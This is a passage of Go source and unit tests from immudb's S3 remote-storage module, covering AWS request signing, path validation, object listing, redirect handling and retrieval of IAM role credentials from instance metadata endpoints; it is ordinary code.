:= hmacSha256(dateKey, []byte(s.location)) dateRegionServiceKey := hmacSha256(dateRegionKey, []byte(serviceName)) signingKey := hmacSha256(dateRegionServiceKey, []byte("aws4_request")) signature := hex.EncodeToString(hmacSha256(signingKey, []byte(stringToSign))) req.Header.Set("Authorization", fmt.Sprintf( "%s Credential=%s,SignedHeaders=%s,Signature=%s", authorization, credential, signedHeaders, signature, )) return req, nil } func (s *Storage) s3SignedRequestV2( ctx context.Context, url string, method string, body io.Reader, contentType string, setupRequest func(req *http.Request) error, t time.Time, ) ( *http.Request, error, ) { req, err := http.NewRequestWithContext(ctx, method, url, body) if err != nil { return nil, err } err = setupRequest(req) if err != nil { return nil, err } date := t.Format(http.TimeFormat) req.Header.Set("Date", date) if contentType != "" { req.Header.Set("Content-Type", contentType) } signedPath := req.URL.Path if strings.HasPrefix(req.Host, s.bucket+".") { // Bucket name is passed through the domain name, // the signature however does take this bucked into account signedPath = "/" + s.bucket + signedPath } mac := hmac.New(sha1.New, []byte(s.secretKey)) fmt.Fprintf(mac, "%s\n\n%s\n%s\n%s", method, contentType, date, signedPath) signature := base64.StdEncoding.EncodeToString(mac.Sum(nil)) req.Header.Set( "Authorization", fmt.Sprintf("AWS %s:%s", s.accessKeyID, signature), ) return req, nil } func (s *Storage) validateName(name string, isFolder bool) error { if strings.HasPrefix(name, "/") { return ErrInvalidArgumentsNameStartSlash } if isFolder && name != "" && !strings.HasSuffix(name, "/") { // The path must end with `/` so that we don't match entries in parent directory with same prefix name // e.g. when scanning /some/entry directory it must not match /some/entry-file object name. // That's because in s3, the scan is prefix-based without clear notion of directories. return ErrInvalidArgumentsPathNoEndSlash } if !isFolder && strings.HasSuffix(name, "/") { return ErrInvalidArgumentsNameEndSlash } if strings.Contains(name, "//") { return ErrInvalidArgumentsInvalidName } if strings.Contains("/"+name, "/./") || strings.Contains("/"+name, "/../") { return ErrInvalidArgumentsInvalidName } return nil } // Get opens a remote s3 resource func (s *Storage) Get(ctx context.Context, name string, offs, size int64) (io.ReadCloser, error) { if offs < 0 || size == 0 { return nil, ErrInvalidArgumentsOffsSize } err := s.validateName(name, false) if err != nil { return nil, err } url, err := s.originalRequestURL(name) if err != nil { return nil, err } resp, err := s.requestWithRedirects( ctx, "GET", url, []int{200, 206}, func() (io.Reader, string, error) { return nil, "", nil }, func(req *http.Request) error { log.Printf("S3 %s %s range: %d %d", req.Method, req.URL, offs, size, ) if size < 0 { req.Header.Set("Range", fmt.Sprintf("bytes=%d-", offs)) } else { req.Header.Set("Range", fmt.Sprintf("bytes=%d-%d", offs, offs+size-1)) } return nil }, ) if err != nil { return nil, err } return &metricsCountingReadCloser{ r: resp.Body, c: metricsDownloadBytes, }, nil } func (s *Storage) requestWithRedirects( ctx context.Context, method string, reqURL string, validStatusCodes []int, prepareData func() (io.Reader, string, error), setupRequest func(req *http.Request) error, ) (*http.Response, error) { for i := 0; i < maxRedirects; i++ { data, contentType, err := prepareData() if err != nil { return nil, err } req, err := s.s3SignedRequest( ctx, reqURL, method, data, contentType, setupRequest, time.Now().UTC(), ) if err != nil { return nil, err } log.Printf("S3 %s %s", req.Method, req.URL) resp, err := s.httpClient.Do(req) if err != nil { log.Printf("S3 %s %s failed: %v", req.Method, req.URL, err) return nil, fmt.Errorf("%w: %v", ErrInvalidResponse, err) } for _, validStatus := range validStatusCodes { if resp.StatusCode == validStatus { log.Printf("S3 %s %s %s", req.Method, req.URL, resp.Status) return resp, nil } } resp.Body.Close() switch resp.StatusCode { case 303: reqURL, err = s.parseRedirect(req, resp) if err != nil { return nil, err } // Switch to simple GET request method = "GET" prepareData = func() (io.Reader, string, error) { return nil, "", nil } setupRequest = func(req *http.Request) error { return nil } log.Printf("S3 %s redirect to GET %s", req.Method, reqURL) case 301, 302, 307, 308: reqURL, err = s.parseRedirect(req, resp) if err != nil { return nil, err } log.Printf("S3 %s redirect to %s", req.Method, reqURL) default: log.Printf( "S3 %s %s failed with status code %d (%s)", req.Method, req.URL, resp.StatusCode, resp.Status, ) return nil, fmt.Errorf( "%w: request failed with status code %d (%s)", ErrInvalidResponse, resp.StatusCode, resp.Status, ) } } log.Printf("S3 %s %s failed - too many redirects", method, reqURL) return nil, ErrTooManyRedirects } func (s *Storage) parseRedirect(req *http.Request, resp *http.Response) (string, error) { locationURL, err := url.Parse(resp.Header.Get("Location")) if err != nil { log.Printf( "S3 %s %s failed: invalid `Location` header: '%s' when doing redirection", req.Method, req.URL, req.Header.Get("Location"), ) return "", fmt.Errorf( "%w: failed to parse Location header %q: %v", ErrInvalidResponse, req.Header.Get("Location"), err, ) } return req.URL.ResolveReference(locationURL).String(), nil } // Put writes a remote s3 resource func (s *Storage) Put(ctx context.Context, name string, fileName string) error { err := s.validateName(name, false) if err != nil { return err } // S3 is using 307 redirects that must preserve POST body, // this can not be handled by the http go module because it requires reopening the reader putURL, err := s.originalRequestURL(name) if err != nil { return err } fl, err := os.Open(fileName) if err != nil { return err } defer fl.Close() flStat, err := fl.Stat() if err != nil { return err } resp, err := s.requestWithRedirects( ctx, "PUT", putURL, []int{200}, func() (io.Reader, string, error) { _, err := fl.Seek(0, io.SeekStart) if err != nil { return nil, "", err } return &metricsCountingReadCloser{ r: ioutil.NopCloser(fl), c: metricsUploadBytes, }, "application/octet-stream", nil }, func(req *http.Request) error { req.ContentLength = flStat.Size() return nil }, ) if err != nil { return err } resp.Body.Close() return nil } func (s *Storage) Remove(ctx context.Context, name string) error { err := s.validateName(name, false) if err != nil { return err } deleteURL, err := s.originalRequestURL(name) if err != nil { return err } resp, err := s.requestWithRedirects( ctx, "DELETE", deleteURL, []int{204}, func() (io.Reader, string, error) { return nil, "", nil }, func(req *http.Request) error { return nil }, ) if err != nil { return err } resp.Body.Close() return nil } func (s *Storage) RemoveAll(ctx context.Context, folder string) error { err := s.validateName(folder, true) if err != nil { return err } entries, subFolders, err := s.ListEntries(ctx, folder) if err != nil { return err } for _, e := range entries { err := s.Remove(ctx, folder+e.Name) if err != nil { return err } } for _, subFolder := range subFolders { err := s.RemoveAll(ctx, folder+subFolder+"/") if err != nil { return err } } return nil } // Exists checks if a remote resource exists and can be read. // Note that due to an asynchronous nature of cloud storage, // a resource stored with the Put method may not be immediately accessible. func (s *Storage) Exists(ctx context.Context, name string) (bool, error) { err := s.validateName(name, false) if err != nil { return false, err } entries, _, err := s.scanObjectNames(ctx, name, 1) if err != nil { return false, err } // We're looking for all entries with the prefix, since those // are sorted alphabetically, if there's an entry with exact // name, it would be the first one returned. // Since the `scanObjectNames` strips out the path prefix, // the entry with the exact name will be returned with an empty name. if len(entries) > 0 && entries[0].Name == "" { return true, nil } return false, nil } func (s *Storage) ListEntries(ctx context.Context, path string) ([]remotestorage.EntryInfo, []string, error) { err := s.validateName(path, true) if err != nil { return nil, nil, err } return s.scanObjectNames(ctx, path, 0) } func (s *Storage) scanObjectNames(ctx context.Context, prefix string, limit int) ([]remotestorage.EntryInfo, []string, error) { prefix = s.prefix + prefix baseUrl, err := s.originalRequestURL("") if err != nil { return nil, nil, err } // Path for the list operation is passed through query parameters baseUrl = strings.TrimSuffix(baseUrl, s.prefix) urlValues := url.Values{} urlValues.Set("list-type", "2") urlValues.Set("encoding-type", "url") urlValues.Set("delimiter", "/") urlValues.Set("prefix", prefix) urlValues.Set("encoding-type", "url") if limit > 0 { urlValues.Set("max-keys", strconv.Itoa(limit)) } entries := []remotestorage.EntryInfo{} subPaths := []string{} for i := 1; ; i++ { resp, err := s.requestWithRedirects( ctx, "GET", baseUrl+"?"+urlValues.Encode(), []int{200}, func() (io.Reader, string, error) { return nil, "", nil }, func(req *http.Request) error { return nil }, ) if err != nil { return nil, nil, err } defer resp.Body.Close() respParsed := struct { Contents []struct { Key string Size int64 } CommonPrefixes []struct{ Prefix string } IsTruncated bool NextContinuationToken string }{} err = xml.NewDecoder(resp.Body).Decode(&respParsed) if err != nil { return nil, nil, fmt.Errorf("%w: %v", ErrInvalidResponseXmlDecodeError, err) } for _, object := range respParsed.Contents { objectName, err := url.QueryUnescape(object.Key) if err != nil { return nil, nil, fmt.Errorf("%w: %v", ErrInvalidResponseEntryNameUnescape, err) } if !strings.HasPrefix(objectName, prefix) { return nil, nil, ErrInvalidResponseEntryNameWrongPrefix } err = s.validateName(objectName, false) if err != nil { return nil, nil, ErrInvalidResponseEntryNameMalicious } objectName = strings.TrimPrefix(objectName, prefix) if strings.Contains(objectName, "/") { return nil, nil, ErrInvalidResponseEntryNameMalicious } entries = append(entries, remotestorage.EntryInfo{ Name: strings.TrimPrefix(objectName, prefix), Size: object.Size, }) } for _, subPath := range respParsed.CommonPrefixes { subPathPrefix, err := url.QueryUnescape(subPath.Prefix) if err != nil { return nil, nil, fmt.Errorf("%w: %v", ErrInvalidResponseSubPathUnescape, err) } if !strings.HasPrefix(subPathPrefix, prefix) { return nil, nil, ErrInvalidResponseSubPathsWrongPrefix } if !strings.HasSuffix(subPathPrefix, "/") { return nil, nil, ErrInvalidResponseSubPathsWrongSuffix } p := subPathPrefix[len(prefix) : len(subPathPrefix)-1] if p == "." || p == ".." || strings.ContainsAny(p, "\\/:") { // Avoid exploitation by a malicious server return nil, nil, ErrInvalidResponseSubPathMalicious } subPaths = append(subPaths, p) } if !respParsed.IsTruncated { break } urlValues.Set("continuation-token", respParsed.NextContinuationToken) } if !sort.SliceIsSorted(entries, func(i, j int) bool { return entries[i].Name < entries[j].Name }) { return nil, nil, ErrInvalidResponseEntriesNotSorted } if !sort.StringsAreSorted(subPaths) { return nil, nil, ErrInvalidResponseSubPathsNotSorted } return entries, subPaths, nil } func (s *Storage) getRoleCredentials() error { if !s.S3RoleEnabled { return nil } var err error s.accessKeyID, s.secretKey, s.sessionToken, err = s.requestCredentials() if err != nil { return err } s3CredentialsRefreshTicker := time.NewTicker(s.awsCredsRefreshPeriod) go func() { for { select { case _ = <-s3CredentialsRefreshTicker.C: accessKeyID, secretKey, sessionToken, err := s.requestCredentials() if err != nil { log.Printf("S3 role credentials lookup failed with an error: %v", err) continue } s.accessKeyID, s.secretKey, s.sessionToken = accessKeyID, secretKey, sessionToken } } }() return nil } func (s *Storage) requestCredentials() (string, string, string, error) { if s.useFargateCredentials { // Use Fargate credentials const fargateMetadataEndpoint = "http://169.254.170.2" fargateCredentialsRelativeURI := os.Getenv("AWS_CONTAINER_CREDENTIALS_RELATIVE_URI") if fargateCredentialsRelativeURI == "" { return "", "", "", errors.New("environment variable AWS_CONTAINER_CREDENTIALS_RELATIVE_URI is not set or empty") } fargateCredentialsURL := fargateMetadataEndpoint + fargateCredentialsRelativeURI fargateReq, err := http.NewRequest("GET", fargateCredentialsURL, nil) if err != nil { return "", "", "", errors.New("cannot form fargate credentials request") } fargateResp, err := http.DefaultClient.Do(fargateReq) if err != nil { return "", "", "", errors.New("cannot get fargate credentials") } defer fargateResp.Body.Close() creds, err := io.ReadAll(fargateResp.Body) if err != nil { return "", "", "", errors.New("cannot read fargate credentials") } var credentials struct { AccessKeyID string `json:"AccessKeyId"` SecretAccessKey string `json:"SecretAccessKey"` SessionToken string `json:"Token"` } if err := json.Unmarshal(creds, &credentials); err != nil { return "", "", "", errors.New("cannot parse fargate credentials") } return credentials.AccessKeyID, credentials.SecretAccessKey, credentials.SessionToken, nil } tokenReq, err := http.NewRequest("PUT", fmt.Sprintf("%s%s", s.awsInstanceMetadataURL, "/latest/api/token", ), nil) if err != nil { return "", "", "", errors.New("cannot form metadata token request") } tokenReq.Header.Set("X-aws-ec2-metadata-token-ttl-seconds", "21600") tokenResp, err := http.DefaultClient.Do(tokenReq) if err != nil { return "", "", "", errors.New("cannot get metadata token") } defer tokenResp.Body.Close() token, err := ioutil.ReadAll(tokenResp.Body) if err != nil { return "", "", "", errors.New("cannot read metadata token") } role := s.s3Role if s.s3Role == "" { roleReq, err := http.NewRequest("GET", fmt.Sprintf("%s%s", s.awsInstanceMetadataURL, "/latest/meta-data/iam/info", ), nil) if err != nil { return "", "", "", errors.New("cannot form role name request") } roleReq.Header.Set("X-aws-ec2-metadata-token", string(token)) roleResp, err := http.DefaultClient.Do(roleReq) if err != nil { return "", "", "", errors.New("cannot get role name") } defer roleResp.Body.Close() creds, err := ioutil.ReadAll(roleResp.Body) if err != nil { return "", "", "", errors.New("cannot read role name") } var metadata struct { InstanceProfileArn string `json:"InstanceProfileArn"` } if err := json.Unmarshal(creds, &metadata); err != nil { return "", "", "", errors.New("cannot parse role name") } match := arnRoleRegex.FindStringSubmatch(metadata.InstanceProfileArn) if len(match) < 2 { return "", "", "", ErrCredentialsCannotBeFound } role = match[1] } credsReq, err := http.NewRequest("GET", fmt.Sprintf("%s%s/%s", s.awsInstanceMetadataURL, "/latest/meta-data/iam/security-credentials", role, ), nil) if err != nil { return "", "", "", errors.New("cannot form role credentials request") } credsReq.Header.Set("X-aws-ec2-metadata-token", string(token)) credsResp, err := http.DefaultClient.Do(credsReq) if err != nil { return "", "", "", errors.New("cannot get role credentials") } defer credsResp.Body.Close() creds, err := ioutil.ReadAll(credsResp.Body) if err != nil { return "", "", "", errors.New("cannot read role credentials") } var credentials struct { AccessKeyID string `json:"AccessKeyId"` SecretAccessKey string `json:"SecretAccessKey"` SessionToken string `json:"Token"` } if err := json.Unmarshal(creds, &credentials); err != nil { return "", "", "", errors.New("cannot parse role credentials") } return credentials.AccessKeyID, credentials.SecretAccessKey, credentials.SessionToken, nil } var _ remotestorage.Storage = (*Storage)(nil) ================================================ FILE: embedded/remotestorage/s3/s3_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package s3 import ( "context" "fmt" "io/fs" "io/ioutil" "net/http" "net/http/httptest" "os" "testing" "time" "github.com/stretchr/testify/require" ) func TestOpen(t *testing.T) { s, err := Open( "http://localhost:9000", false, "", "minioadmin", "minioadmin", "immudb", "", "prefix", "", false, ) require.NoError(t, err) require.NotNil(t, s) require.Equal(t, "s3", s.Kind()) require.Equal(t, "s3:http://localhost:9000/immudb/prefix/", s.String()) } func TestValidateName(t *testing.T) { for _, d := range []struct { name string isFolder bool err error }{ {"", false, nil}, {"", true, nil}, {"test", false, nil}, {"test/", true, nil}, {"test/name", false, nil}, {"test/name/", true, nil}, {"/test", false, ErrInvalidArgumentsNameStartSlash}, {"/test", true, ErrInvalidArgumentsNameStartSlash}, {"test/", false, ErrInvalidArgumentsNameEndSlash}, {"test", true, ErrInvalidArgumentsPathNoEndSlash}, {"test//name", false, ErrInvalidArgumentsInvalidName}, {"test/./name", false, ErrInvalidArgumentsInvalidName}, {"test/../test", false, ErrInvalidArgumentsInvalidName}, {"./test", false, ErrInvalidArgumentsInvalidName}, {"../test", false, ErrInvalidArgumentsInvalidName}, } { t.Run(fmt.Sprintf("%+v", d), func(t *testing.T) { s := Storage{} err := s.validateName(d.name, d.isFolder) require.ErrorIs(t, err, d.err) }) } } func TestCornerCases(t *testing.T) { t.Run("bucket name can not be empty", func(t *testing.T) { s, err := Open( "http://localhost:9000", false, "", "minioadmin", "minioadmin", "", "", "", "", false, ) require.ErrorIs(t, err, ErrInvalidArguments) require.ErrorIs(t, err, ErrInvalidArgumentsBucketEmpty) require.Nil(t, s) }) t.Run("bucket name can not contain /", func(t *testing.T) { s, err := Open( "http://localhost:9000", false, "", "minioadmin", "minioadmin", "immudb/test", "", "", "", false, ) require.ErrorIs(t, err, ErrInvalidArguments) require.ErrorIs(t, err, ErrInvalidArgumentsBucketSlash) require.Nil(t, s) }) t.Run("prefix must be correctly normalized", func(t *testing.T) { s, err := Open( "http://localhost:9000", false, "", "minioadmin", "minioadmin", "immudb", "", "", "", false, ) require.NoError(t, err) require.Equal(t, "", s.(*Storage).prefix) s, err = Open( "http://localhost:9000", false, "", "minioadmin", "minioadmin", "immudb", "", "/test/", "", false, ) require.NoError(t, err) require.Equal(t, "test/", s.(*Storage).prefix) s, err = Open( "http://localhost:9000", false, "", "minioadmin", "minioadmin", "immudb", "", "/test", "", false, ) require.NoError(t, err) require.Equal(t, "test/", s.(*Storage).prefix) }) t.Run("invalid url", func(t *testing.T) { s, err := Open( "h**s://localhost:9000", false, "", "minioadmin", "minioadmin", "bucket", "", "", "", false, ) require.NoError(t, err) require.Equal(t, "s3(misconfigured)", s.String()) }) t.Run("invalid get / put / exists path", func(t *testing.T) { s, err := Open( "htts://localhost:9000", false, "", "minioadmin", "minioadmin", "bucket", "", "", "", false, ) require.NoError(t, err) _, err = s.Get(context.Background(), "/file", 0, -1) require.ErrorIs(t, err, ErrInvalidArguments) require.ErrorIs(t, err, ErrInvalidArgumentsNameStartSlash) err = s.Put(context.Background(), "/file", "/tmp/test.txt") require.ErrorIs(t, err, ErrInvalidArguments) require.ErrorIs(t, err, ErrInvalidArgumentsNameStartSlash) _, err = s.Exists(context.Background(), "/file") require.ErrorIs(t, err, ErrInvalidArguments) require.ErrorIs(t, err, ErrInvalidArgumentsNameStartSlash) }) t.Run("invalid get offset / size", func(t *testing.T) { s, err := Open( "htts://localhost:9000", false, "", "minioadmin", "minioadmin", "bucket", "", "", "", false, ) require.NoError(t, err) _, err = s.Get(context.Background(), "file", 0, 0) require.ErrorIs(t, err, ErrInvalidArguments) require.ErrorIs(t, err, ErrInvalidArgumentsOffsSize) }) t.Run("invalid role and credentials settings", func(t *testing.T) { s, err := Open( "htts://localhost:9000", true, "role", "minioadmin", "minioadmin", "bucket", "", "", "", false, ) require.Error(t, err) require.Nil(t, s) }) t.Run("invalid list path", func(t *testing.T) { s, err := Open( "https://localhost:9000", false, "", "minioadmin", "minioadmin", "bucket", "", "", "", false, ) require.NoError(t, err) _, _, err = s.ListEntries(context.Background(), "prefix-no-slash") require.ErrorIs(t, err, ErrInvalidArguments) _, _, err = s.ListEntries(context.Background(), "prefix-double-slash//") require.ErrorIs(t, err, ErrInvalidArguments) }) t.Run("invalid http status code from the server", func(t *testing.T) { ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { http.Error(w, "test error", http.StatusInternalServerError) })) defer ts.Close() s, err := Open(ts.URL, false, "", "", "", "bucket", "", "", "", false) require.NoError(t, err) ctx := context.Background() _, err = s.Get(ctx, "object1", 0, -1) require.ErrorIs(t, err, ErrInvalidResponse) }) t.Run("invalid upload file path", func(t *testing.T) { ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { require.Fail(t, "Should not call the server") })) defer ts.Close() s, err := Open(ts.URL, false, "", "", "", "bucket", "", "", "", false) require.NoError(t, err) ctx := context.Background() err = s.Put(ctx, "object1", "/invalid/file/path/that/does/not/exist") require.IsType(t, &fs.PathError{}, err) }) } func TestSignatureV4(t *testing.T) { // Example request available at: // https://docs.aws.amazon.com/AmazonS3/latest/API/sig-v4-header-based-auth.html s, err := Open( "https://examplebucket.s3.amazonaws.com", false, "", "AKIAIOSFODNN7EXAMPLE", "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY", "examplebucket", "us-east-1", "", "", false, ) require.NoError(t, err) st := s.(*Storage) url, err := st.originalRequestURL("test.txt") require.NoError(t, err) req, err := st.s3SignedRequestV4( context.Background(), url, "GET", nil, "", "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", func(req *http.Request) error { req.Header.Add("Range", "bytes=0-9") return nil }, time.Date(2013, 5, 24, 0, 0, 0, 0, time.UTC), ) require.NoError(t, err) require.NotNil(t, req) require.Equal(t, "AWS4-HMAC-SHA256 "+ "Credential=AKIAIOSFODNN7EXAMPLE/20130524/us-east-1/s3/aws4_request,"+ "SignedHeaders=host;range;x-amz-content-sha256;x-amz-date,"+ "Signature=f0e8bdb87c964420e857bd35b5d6ed310bd44f0170aba48dd91039c6036bdb41", req.Header.Get("Authorization"), ) } func TestHandlingRedirects(t *testing.T) { ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { switch r.URL.Path { case "/bucket/object1": require.Equal(t, "GET", r.Method) http.Redirect(w, r, "/bucket/object2", http.StatusSeeOther) case "/bucket/object2": require.Equal(t, "GET", r.Method) http.Redirect(w, r, "/bucket/object3", http.StatusPermanentRedirect) case "/bucket/object3": require.Equal(t, "GET", r.Method) _, err := w.Write([]byte("Hello world")) require.NoError(t, err) case "/bucket/object4": require.Equal(t, "GET", r.Method) http.Redirect(w, r, "/bucket/object4", http.StatusTemporaryRedirect) case "/bucket/object5": require.Equal(t, "GET", r.Method) http.Redirect(w, r, "h**p://invalid", http.StatusSeeOther) case "/bucket/object6": require.Equal(t, "GET", r.Method) http.Redirect(w, r, "h**p://invalid", http.StatusTemporaryRedirect) case "/bucket/object7": require.Equal(t, "PUT", r.Method) http.Redirect(w, r, "h**p://invalid", http.StatusSeeOther) case "/bucket/object8": require.Equal(t, "PUT", r.Method) http.Redirect(w, r, "h**p://invalid", http.StatusTemporaryRedirect) default: require.Fail(t, "Unknown request") } })) defer ts.Close() s, err := Open(ts.URL, false, "", "", "", "bucket", "", "", "", false) require.NoError(t, err) ctx := context.Background() t.Run("open bucket with redirects", func(t *testing.T) { io, err := s.Get(ctx, "object1", 0, -1) require.NoError(t, err) b, err := ioutil.ReadAll(io) require.NoError(t, err) err = io.Close() require.NoError(t, err) require.Equal(t, []byte("Hello world"), b) }) t.Run("detect infinite redirect loop", func(t *testing.T) { _, err := s.Get(ctx, "object4", 0, -1) require.ErrorIs(t, err, ErrTooManyRedirects) }) t.Run("error getting 303 redirect", func(t *testing.T) { _, err := s.Get(ctx, "object5", 0, -1) require.ErrorIs(t, err, ErrInvalidResponse) require.Contains(t, err.Error(), "failed to parse Location header") }) t.Run("error getting 307 redirect", func(t *testing.T) { _, err := s.Get(ctx, "object6", 0, -1) require.ErrorIs(t, err, ErrInvalidResponse) require.Contains(t, err.Error(), "failed to parse Location header") }) t.Run("error getting 303 redirect while PUT request", func(t *testing.T) { fl, err := ioutil.TempFile("", "") require.NoError(t, err) fmt.Fprintf(fl, "Hello world") fl.Close() defer os.Remove(fl.Name()) err = s.Put(ctx, "object7", fl.Name()) require.ErrorIs(t, err, ErrInvalidResponse) require.Contains(t, err.Error(), "failed to parse Location header") }) t.Run("error getting 307 redirect", func(t *testing.T) { fl, err := ioutil.TempFile("", "") require.NoError(t, err) fmt.Fprintf(fl, "Hello world") fl.Close() defer os.Remove(fl.Name()) err = s.Put(ctx, "object8", fl.Name()) require.ErrorIs(t, err, ErrInvalidResponse) require.Contains(t, err.Error(), "failed to parse Location header") }) } func TestListEntries(t *testing.T) { ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { require.Equal(t, "/bucket/", r.URL.Path) switch r.URL.Query().Get("prefix") { case "path1/": w.Write([]byte(` false path1/ExampleObject1.txt path1/ExampleObject2.txt path1/photos1/ path1/photos2/ `)) case "path2/": w.Write([]byte(` < this is not a valid xml > `)) case "path3/": w.Write([]byte(` false path3/ExampleObject2.txt path3/ExampleObject1.txt path3/photos1/ path3/photos2/ `)) case "path4/": w.Write([]byte(` false path4/ExampleObject1.txt path4/ExampleObject2.txt path4/photos2/ path4/photos1/ `)) case "path5/": w.Write([]byte(` false path5/ExampleObject1.txt path5/ExampleObject2.txt invalid-prefix/photos1/ invalid-prefix/photos2/ `)) case "path6/": w.Write([]byte(` false path6/ExampleObject1.txt path6/ExampleObject2.txt path6/photos1 path6/photos2 `)) case "path7/": w.Write([]byte(` false path7/ExampleObject1.txt path7/ExampleObject2.txt path7/photos1/ path7/../photos2/ `)) case "path8/": switch r.URL.Query().Get("continuation-token") { case "": w.Write([]byte(` true cont-token path8/ExampleObject1.txt path8/ExampleObject2.txt path8/photos1/ path8/photos2/ `)) case "cont-token": w.Write([]byte(` false path8/ExampleObject3.txt path8/ExampleObject4.txt path8/photos3/ path8/photos4/ `)) default: require.Fail(t, "invalid continuation token") } case "path9/": w.Write([]byte(` false ExampleObject1.txt path9/ExampleObject2.txt path9/photos1/ path9/photos2/ `)) case "path10/": w.Write([]byte(` false path10/sub/ExampleObject1.txt path10/ExampleObject2.txt path10/photos1/ path10/photos2/ `)) case "path11/": w.Write([]byte(` false path11/ExampleObject1.txt% path11/ExampleObject2.txt path11/photos1/ path11/photos2/ `)) case "path12/": w.Write([]byte(` false path12/ExampleObject1.txt path12/ExampleObject2.txt path12/photos1/% path12/photos2/ `)) case "path13/": w.Write([]byte(` false path13%2FExampleObject1.txt path13%2FExampleObject2.txt path13%2Fphotos1%2F path13%2Fphotos2%2F `)) case "path14/": w.Write([]byte(` false path14//ExampleObject1.txt path14/ExampleObject2.txt path14/photos1/ path14/photos2/ `)) case "path15/": w.Write([]byte(` false path15/Example/Object1.txt path15/ExampleObject2.txt path14/photos1/ path14/photos2/ `)) default: require.Fail(t, "Invalid request") } })) defer ts.Close() s, err := Open(ts.URL, false, "", "", "", "bucket", "", "", "", false) require.NoError(t, err) ctx := context.Background() t.Run("correct response", func(t *testing.T) { entries, subPaths, err := s.ListEntries(ctx, "path1/") require.NoError(t, err) require.Len(t, entries, 2) require.Len(t, subPaths, 2) }) t.Run("invalid xml response when listing", func(t *testing.T) { _, _, err := s.ListEntries(ctx, "path2/") require.ErrorIs(t, err, ErrInvalidResponse) require.ErrorIs(t, err, ErrInvalidResponseXmlDecodeError) }) t.Run("entries not sorted", func(t *testing.T) { _, _, err := s.ListEntries(ctx, "path3/") require.ErrorIs(t, err, ErrInvalidResponse) require.ErrorIs(t, err, ErrInvalidResponseEntriesNotSorted) }) t.Run("sub paths not sorted", func(t *testing.T) { _, _, err := s.ListEntries(ctx, "path4/") require.ErrorIs(t, err, ErrInvalidResponse) require.ErrorIs(t, err, ErrInvalidResponseSubPathsNotSorted) }) t.Run("sub paths incorrectly prefixed", func(t *testing.T) { _, _, err := s.ListEntries(ctx, "path5/") require.ErrorIs(t, err, ErrInvalidResponse) require.ErrorIs(t, err, ErrInvalidResponseSubPathsWrongPrefix) }) t.Run("sub paths incorrectly prefixed", func(t *testing.T) { _, _, err := s.ListEntries(ctx, "path6/") require.ErrorIs(t, err, ErrInvalidResponse) require.ErrorIs(t, err, ErrInvalidResponseSubPathsWrongSuffix) }) t.Run("sub paths contain incorrect characters", func(t *testing.T) { _, _, err := s.ListEntries(ctx, "path7/") require.ErrorIs(t, err, ErrInvalidResponse) require.ErrorIs(t, err, ErrInvalidResponseSubPathMalicious) }) t.Run("query with continuation token", func(t *testing.T) { entries, subPaths, err := s.ListEntries(ctx, "path8/") require.NoError(t, err) require.Len(t, entries, 4) require.Len(t, subPaths, 4) }) t.Run("entry name does not start with prefix", func(t *testing.T) { _, _, err := s.ListEntries(ctx, "path9/") require.ErrorIs(t, err, ErrInvalidResponse) require.ErrorIs(t, err, ErrInvalidResponseEntryNameWrongPrefix) }) t.Run("entry name contains / character", func(t *testing.T) { _, _, err := s.ListEntries(ctx, "path10/") require.ErrorIs(t, err, ErrInvalidResponse) require.ErrorIs(t, err, ErrInvalidResponseEntryNameMalicious) }) t.Run("entry name not correctly url encoded", func(t *testing.T) { _, _, err := s.ListEntries(ctx, "path11/") require.ErrorIs(t, err, ErrInvalidResponse) require.ErrorIs(t, err, ErrInvalidResponseEntryNameUnescape) }) t.Run("subpath not correctly url encoded", func(t *testing.T) { _, _, err := s.ListEntries(ctx, "path12/") require.ErrorIs(t, err, ErrInvalidResponse) require.ErrorIs(t, err, ErrInvalidResponseSubPathUnescape) }) t.Run("correctly handle url encoded entry names", func(t *testing.T) { entries, subPaths, err := s.ListEntries(ctx, "path13/") require.NoError(t, err) require.Len(t, entries, 2) require.Len(t, subPaths, 2) require.Equal(t, "ExampleObject1.txt", entries[0].Name) require.Equal(t, []string{"photos1", "photos2"}, subPaths) }) t.Run("detect malicious object names", func(t *testing.T) { _, _, err := s.ListEntries(ctx, "path14/") require.ErrorIs(t, err, ErrInvalidResponse) require.ErrorIs(t, err, ErrInvalidResponseEntryNameMalicious) _, _, err = s.ListEntries(ctx, "path15/") require.ErrorIs(t, err, ErrInvalidResponse) require.ErrorIs(t, err, ErrInvalidResponseEntryNameMalicious) }) } ================================================ FILE: embedded/remotestorage/s3/s3_with_minio_test.go ================================================ //go:build minio // +build minio /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package s3 import ( "context" "crypto/rand" "fmt" "io/ioutil" "os" "testing" "github.com/stretchr/testify/require" ) func TestS3WithServer(t *testing.T) { randomBytes := make([]byte, 8) _, err := rand.Read(randomBytes) require.NoError(t, err) s, err := Open( "http://localhost:9000", false, "", "minioadmin", "minioadmin", "immudb", "", fmt.Sprintf("prefix_%x", randomBytes), "", false, ) require.NoError(t, err) ctx := context.Background() t.Run("check exist if file was not created", func(t *testing.T) { exists, err := s.Exists(ctx, "test1") require.NoError(t, err) require.False(t, exists) }) t.Run("store a file", func(t *testing.T) { fl, err := ioutil.TempFile("", "") require.NoError(t, err) fmt.Fprintf(fl, "Hello world") fl.Close() defer os.Remove(fl.Name()) err = s.Put(ctx, "test1", fl.Name()) require.NoError(t, err) }) t.Run("check exist after file was created", func(t *testing.T) { exists, err := s.Exists(ctx, "test1") require.NoError(t, err) require.True(t, exists) }) t.Run("read whole file", func(t *testing.T) { in, err := 